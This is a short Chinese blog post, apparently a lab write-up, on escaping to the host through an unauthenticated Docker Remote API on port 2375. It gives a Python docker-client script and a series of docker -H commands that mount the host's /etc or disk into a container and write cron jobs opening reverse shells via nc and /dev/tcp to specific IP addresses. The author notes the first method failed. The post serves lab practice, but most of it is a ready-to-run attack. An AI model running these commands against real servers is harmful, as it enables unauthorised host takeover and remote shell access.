漏洞环境
编译及启动漏洞环境:
docker-compose build
docker-compose up -d
环境启动后,将监听2375端口。
漏洞复现
利用方法是,我们随意启动一个容器,并将宿主机的/etc
目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
写入crontab文件,成功反弹shell:
没复现成功哈
方法二
原理:创建一个docker容器,进入alpine容器,把本地的盘符挂到容器里,通过创建cron任务反弹shell。
docker -H 1.117.159.190:2375 images
docker -H 1.117.159.190:2375 pull alpine
进入镜像 docker -H 1.117.159.190:2375 run -it --privileged alpine /bin/sh
查看本地磁盘 fdisk -l 在容器创建test目录 mkdir test 把本地磁盘挂在到容器test目录下 mount /dev/vda1 /test
编辑 /var/spool/cron/crontabs/root 添加计划任务 */1 * * * * bash -i >& /dev/tcp/43.134.29.177/6666 0>&1
反弹shell
宿主机docker版本为18.09.9,否则以上逃逸无效
标签:容器,daemon,shell,etc,api,2375,docker,alpine From: https://www.cnblogs.com/lyh1/p/16886082.html